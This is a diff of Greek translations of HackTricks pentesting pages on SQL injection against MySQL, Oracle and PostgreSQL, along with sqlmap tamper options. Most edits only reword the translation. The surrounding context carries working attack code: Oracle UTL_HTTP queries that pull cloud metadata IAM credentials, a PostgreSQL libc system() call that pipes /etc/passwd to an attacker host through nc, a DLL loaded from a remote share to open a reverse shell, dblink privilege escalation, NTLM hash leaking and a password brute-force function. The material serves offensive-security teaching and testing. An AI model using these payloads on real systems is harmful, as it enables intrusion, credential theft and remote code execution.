Αυτή η τεχνική επιτρέπει την εκτέλεση δικτυακών/HTTP αιτημάτων μέσω ενός UDF, εφόσον πληρούνται αρκετές προϋποθέσεις, συμπεριλαμβανομένης της πρόσβασης εγγραφής στο `@@plugin_dir`, `file_priv` ορισμένο σε `Y`, και `secure_file_priv` απενεργοποιημένο.
|
||||
|
||||
@ -24,6 +24,6 @@
|
||||
|
||||
Η διαδικασία ποικίλλει αν το `@@plugin_dir` δεν είναι εγγράψιμο, ειδικά για εκδόσεις MySQL άνω του `v5.0.67`. Σε τέτοιες περιπτώσεις, πρέπει να χρησιμοποιηθούν εναλλακτικές διαδρομές που είναι εγγράψιμες.
|
||||
|
||||
Η αυτοματοποίηση αυτών των διαδικασιών μπορεί να διευκολυνθεί από εργαλεία όπως το SQLMap, το οποίο υποστηρίζει την ένεση UDF, και για τυφλές SQL injections, μπορεί να χρησιμοποιηθούν τεχνικές ανακατεύθυνσης εξόδου ή smuggling DNS requests.
|
||||
Η αυτοματοποίηση αυτών των διαδικασιών μπορεί να διευκολυνθεί από εργαλεία όπως το SQLMap, το οποίο υποστηρίζει την ένεση UDF, και για τυφλές SQL ενέσεις, μπορεί να χρησιμοποιηθούν τεχνικές ανακατεύθυνσης εξόδου ή smuggling DNS αιτημάτων.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
Η χρήση του Oracle για να κάνετε Out of Band HTTP και DNS αιτήματα είναι καλά τεκμηριωμένη, αλλά ως μέσο εξαγωγής SQL δεδομένων σε επιθέσεις. Μπορούμε πάντα να τροποποιήσουμε αυτές τις τεχνικές/λειτουργίες για να κάνουμε άλλες SSRF/XSPA.
|
||||
|
||||
Η εγκατάσταση του Oracle μπορεί να είναι πραγματικά επώδυνη, ειδικά αν θέλετε να ρυθμίσετε μια γρήγορη παρουσία για να δοκιμάσετε εντολές. Ο φίλος και συνάδελφός μου από το [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), μου υπέδειξε το [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) που μου επέτρεψε να ρυθμίσω μια παρουσία σε μια t2.large AWS Ubuntu μηχανή και Docker.
|
||||
Η εγκατάσταση του Oracle μπορεί να είναι πραγματικά επώδυνη, ειδικά αν θέλετε να ρυθμίσετε μια γρήγορη παρουσία για να δοκιμάσετε εντολές. Ο φίλος και συνάδελφός μου στο [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), μου υπέδειξε το [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) που μου επέτρεψε να ρυθμίσω μια παρουσία σε μια t2.large AWS Ubuntu μηχανή και Docker.
|
||||
|
||||
Εκτέλεσα την εντολή docker με την επιλογή `--network="host"` ώστε να μπορώ να μιμηθώ το Oracle ως εγγενή εγκατάσταση με πλήρη πρόσβαση στο δίκτυο, κατά τη διάρκεια αυτής της ανάρτησης.
|
||||
```
|
||||
@ -20,7 +20,7 @@ docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
Η αναζήτηση επέστρεψε τα εξής αποτελέσματα (όχι όλα μπορούν να χρησιμοποιηθούν για να εκτελέσουν εξερχόμενο δίκτυο)
|
||||
Η αναζήτηση επέστρεψε τα εξής αποτελέσματα (όχι όλα μπορούν να χρησιμοποιηθούν για την εκτέλεση εξωτερικού δικτύου)
|
||||
|
||||
- DBMS_NETWORK_ACL_ADMIN
|
||||
- UTL_SMTP
|
||||
@ -37,7 +37,7 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
|
||||
- DBMS_STREAMS_ADM
|
||||
- UTL_HTTP
|
||||
|
||||
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το `DBMS_LDAP` (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η [σελίδα τεκμηρίωσης](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) σας παραπέμπει απλώς σε μια [διαφορετική τοποθεσία](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Έτσι, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να κάνουν εξερχόμενα αιτήματα που μπορεί να έχω παραλείψει.
|
||||
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το `DBMS_LDAP` (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η [σελίδα τεκμηρίωσης](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) σας παραπέμπει απλώς σε μια [διαφορετική τοποθεσία](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Έτσι, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να γίνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.
|
||||
|
||||
Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και καταγράψει παραπάνω.
|
||||
|
||||
@ -84,7 +84,7 @@ END;
|
||||
|
||||
Το πακέτο `UTL_TCP` και οι διαδικασίες και συναρτήσεις του επιτρέπουν [TCP/IP βασισμένη επικοινωνία με υπηρεσίες](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Εάν προγραμματιστεί για μια συγκεκριμένη υπηρεσία, αυτό το πακέτο μπορεί εύκολα να γίνει ένας τρόπος εισόδου στο δίκτυο ή να εκτελέσει πλήρεις Αιτήσεις Από την Πλευρά του Διακομιστή, καθώς όλες οι πτυχές μιας σύνδεσης TCP/IP μπορούν να ελεγχθούν.
|
||||
|
||||
Το παράδειγμα [στην ιστοσελίδα τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να κάνετε μια ακατέργαστη TCP σύνδεση για να ανακτήσετε μια ιστοσελίδα](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Μπορούμε να το απλοποιήσουμε λίγο περισσότερο και να το χρησιμοποιήσουμε για να κάνουμε αιτήσεις στην περίπτωση μεταδεδομένων για παράδειγμα ή σε μια αυθαίρετη υπηρεσία TCP/IP.
|
||||
Το παράδειγμα [στην ιστοσελίδα τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να κάνετε μια ακατέργαστη σύνδεση TCP για να ανακτήσετε μια ιστοσελίδα](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Μπορούμε να το απλοποιήσουμε λίγο περισσότερο και να το χρησιμοποιήσουμε για να κάνουμε αιτήσεις στην περίπτωση μεταδεδομένων για παράδειγμα ή σε μια αυθαίρετη υπηρεσία TCP/IP.
|
||||
```
|
||||
set serveroutput on size 30000;
|
||||
SET SERVEROUTPUT ON
|
||||
@ -124,15 +124,15 @@ END;
|
||||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Ενδιαφέρον είναι ότι, λόγω της δυνατότητας δημιουργίας ωμών αιτημάτων TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instance όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
|
||||
Ενδιαφέρον είναι ότι, λόγω της δυνατότητας δημιουργίας ωμών αιτημάτων TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instace όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
|
||||
|
||||
**UTL_HTTP και Ιστοσελίδες Αιτημάτων**
|
||||
|
||||
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Oracle SQL Injection εκτός ζώνης είναι το [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
|
||||
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Oracle SQL Injection Out of Band είναι το [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
Μπορείτε επιπλέον να χρησιμοποιήσετε αυτό για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών επίσης με ερωτήματα όπως
|
||||
Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών με ερωτήματα όπως
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
@ -140,6 +140,6 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||
```
|
||||
Ένα `ORA-12541: TNS:no listener` ή ένα `TNS:operation timed out` είναι σημάδι ότι η θύρα TCP είναι κλειστή, ενώ ένα `ORA-29263: HTTP protocol error` ή δεδομένα είναι σημάδι ότι η θύρα είναι ανοιχτή.
|
||||
|
||||
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικιλία επιτυχίας είναι η [`GETCLOB()` μέθοδος του `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος `GETCLOB()` χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικίλη επιτυχία είναι η [`GETCLOB()` μέθοδος του `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος `GETCLOB()` χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -9,15 +9,15 @@
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες PostgreSQL περιπτώσεις και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η σύλληψη απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων δείτε πώς να [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η καταγραφή απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exfiltration example using dblink and large objects**
|
||||
### **Παράδειγμα εξαγωγής χρησιμοποιώντας dblink και μεγάλα αντικείμενα**
|
||||
|
||||
Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF του **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της συνάρτησης `dblink_connect`.
|
||||
Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF του **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξαγάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της συνάρτησης `dblink_connect`.
|
||||
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
|
||||
Δείτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο:
|
||||
Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο:
|
||||
|
||||
{{#ref}}
|
||||
../../../network-services-pentesting/pentesting-postgresql.md
|
||||
@ -53,7 +53,7 @@ SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Strings in Hex
|
||||
|
||||
Αν μπορείτε να εκτελέσετε **queries** περνώντας τα **μέσα σε μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη λειτουργία **`query_to_xml`**). **Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:**
|
||||
Αν μπορείτε να εκτελέσετε **queries** περνώντας τα **μέσα σε μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη **`query_to_xml`** συνάρτηση). **Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
@ -65,7 +65,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
||||
```
|
||||
### Απαγορευμένα αποσπάσματα
|
||||
|
||||
Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να το παρακάμψετε με το `CHR` για βασικές ρήτρες (_η συγχώνευση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL_):
|
||||
Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να παρακάμψετε αυτό με το `CHR` για βασικές ρήτρες (_η συγχώνευση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -26,7 +26,7 @@ _Σημειώστε ότι αυτή η ρύθμιση χρησιμοποιείτ
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Καθώς θα επιτρέπει σε όλους από το localhost να συνδεθούν στη βάση δεδομένων ως οποιοσδήποτε χρήστης.\
|
||||
Σε αυτή την περίπτωση και αν η **`dblink`** λειτουργία είναι **λειτουργική**, θα μπορούσατε να **ανεβάσετε δικαιώματα** συνδεόμενοι στη βάση δεδομένων μέσω μιας ήδη καθιερωμένης σύνδεσης και να αποκτήσετε πρόσβαση σε δεδομένα που δεν θα έπρεπε να έχετε πρόσβαση:
|
||||
Σε αυτή την περίπτωση και αν η **`dblink`** λειτουργία είναι **λειτουργική**, θα μπορούσατε να **ανεβάσετε δικαιώματα** συνδεόμενοι στη βάση δεδομένων μέσω μιας ήδη καθορισμένης σύνδεσης και να αποκτήσετε πρόσβαση σε δεδομένα που δεν θα έπρεπε να έχετε πρόσβαση:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=postgres
|
||||
@ -73,7 +73,7 @@ DETAIL: received invalid response to SSL negotiation:
|
||||
```
|
||||
CREATE extension dblink;
|
||||
```
|
||||
### UNC διαδρομή - Αποκάλυψη NTLM hash
|
||||
### UNC διαδρομή - αποκάλυψη NTLM hash
|
||||
```sql
|
||||
-- can be used to leak hashes to Responder/equivalent
|
||||
CREATE TABLE test();
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
**Βρείτε [περισσότερες πληροφορίες σχετικά με αυτές τις επιθέσεις στο πρωτότυπο έγγραφο](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που επεκτείνει τις δυνατότητες του SQL προσφέροντας **βελτιωμένο διαδικαστικό έλεγχο**. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που έχουν δημιουργηθεί στη γλώσσα PL/pgSQL μπορούν να κληθούν από δηλώσεις SQL και triggers, διευρύνοντας το πεδίο των λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.
|
||||
PL/pgSQL είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που επεκτείνει τις δυνατότητες του SQL προσφέροντας **βελτιωμένο διαδικαστικό έλεγχο**. Αυτό περιλαμβάνει τη χρήση βρόχων και διαφόρων δομών ελέγχου. Οι συναρτήσεις που έχουν δημιουργηθεί στη γλώσσα PL/pgSQL μπορούν να κληθούν από δηλώσεις SQL και triggers, διευρύνοντας το πεδίο των λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.
|
||||
|
||||
Μπορείτε να καταχραστείτε αυτή τη γλώσσα προκειμένου να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επιβεβαιώσετε την ύπαρξή της χρησιμοποιώντας:
|
||||
Μπορείτε να καταχραστείτε αυτή τη γλώσσα προκειμένου να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επαληθεύσετε την ύπαρξή του χρησιμοποιώντας:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
@ -30,7 +30,7 @@ CREATE EXTENSION dblink;
|
||||
```
|
||||
## Password Brute Force
|
||||
|
||||
Εδώ είναι πώς μπορείτε να εκτελέσετε μια επίθεση brute force σε κωδικό 4 χαρακτήρων:
|
||||
Εδώ είναι πώς μπορείτε να εκτελέσετε μια επίθεση brute force σε κωδικό πρόσβασης 4 χαρακτήρων:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
**Για περισσότερες πληροφορίες ελέγξτε: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Η εκτέλεση συστημικών εντολών από το PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατή η χρήση αυτού του: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Η εκτέλεση συστημικών εντολών από το PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατή η χρήση αυτού: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -250,7 +250,7 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Σημειώστε ότι σε αυτή την περίπτωση ο **κακόβουλος κώδικας είναι μέσα στη συνάρτηση DllMain**. Αυτό σημαίνει ότι σε αυτή την περίπτωση δεν είναι απαραίτητο να εκτελέσετε τη φορτωμένη συνάρτηση στο postgresql, απλώς **φορτώνοντας το DLL** θα **εκτελέσει** το reverse shell:
|
||||
Σημειώστε πώς σε αυτή την περίπτωση ο **κακόβουλος κώδικας είναι μέσα στη συνάρτηση DllMain**. Αυτό σημαίνει ότι σε αυτή την περίπτωση δεν είναι απαραίτητο να εκτελέσετε τη φορτωμένη συνάρτηση στο postgresql, απλώς **φορτώνοντας το DLL** θα **εκτελέσει** το reverse shell:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
@ -260,13 +260,13 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
|
||||
Στις **πιο πρόσφατες εκδόσεις** του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο `superuser` είναι **απαγορευμένος** από το **φόρτωμα** αρχείων κοινής βιβλιοθήκης εκτός από συγκεκριμένους καταλόγους, όπως `C:\Program Files\PostgreSQL\11\lib` στα Windows ή `/var/lib/postgresql/11/lib` σε συστήματα \*nix. Αυτοί οι κατάλογοι είναι **ασφαλισμένοι** κατά των λειτουργιών εγγραφής είτε από τους λογαριασμούς NETWORK_SERVICE είτε postgres.
|
||||
|
||||
Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο `superuser` της βάσης δεδομένων να **γράψει δυαδικά αρχεία** στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες αντικείμενα." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου `C:\Program Files\PostgreSQL\11\data`, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.
|
||||
Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο `superuser` της βάσης δεδομένων να **γράψει δυαδικά αρχεία** στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες οντότητες." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου `C:\Program Files\PostgreSQL\11\data`, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.
|
||||
|
||||
Μια σημαντική ευπάθεια προκύπτει από την εντολή `CREATE FUNCTION`, η οποία **επιτρέπει την περιήγηση καταλόγων** στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να **εκμεταλλευτεί αυτή την περιήγηση** για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να **το φορτώσει**. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδικών στο σύστημα.
|
||||
Μια σημαντική ευπάθεια προκύπτει από την εντολή `CREATE FUNCTION`, η οποία **επιτρέπει την περιήγηση καταλόγων** στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να **εκμεταλλευτεί αυτή την περιήγηση** για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να **το φορτώσει**. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδίκων στο σύστημα.
|
||||
|
||||
#### Ροή επίθεσης
|
||||
|
||||
Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσεις μεγάλες αντικείμενα για να ανεβάσεις το dll**. Μπορείς να δεις πώς να το κάνεις αυτό εδώ:
|
||||
Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσεις μεγάλες οντότητες για να ανεβάσεις το dll**. Μπορείς να δεις πώς να το κάνεις αυτό εδώ:
|
||||
|
||||
{{#ref}}
|
||||
big-binary-files-upload-postgresql.md
|
||||
|
@ -224,7 +224,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Διαβάστε"}}
|
||||
{{#tab name="Read"}}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -1,3 +1,5 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Βασικά επιχειρήματα για το SQLmap
|
||||
|
||||
## Γενικά
|
||||
@ -113,51 +115,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
| Tamper | Description |
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
||||
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
||||
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
||||
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
|
||||
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
|
||||
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
||||
| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
||||
| chardoubleencode.py | Διπλά κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
|
||||
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
||||
| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" |
|
||||
| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" |
|
||||
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
|
||||
| charunicodeencode.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "%u0022" |
|
||||
| charunicodeescape.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "\u0022" |
|
||||
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' |
|
||||
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
|
||||
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με τον αντίστοιχο 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
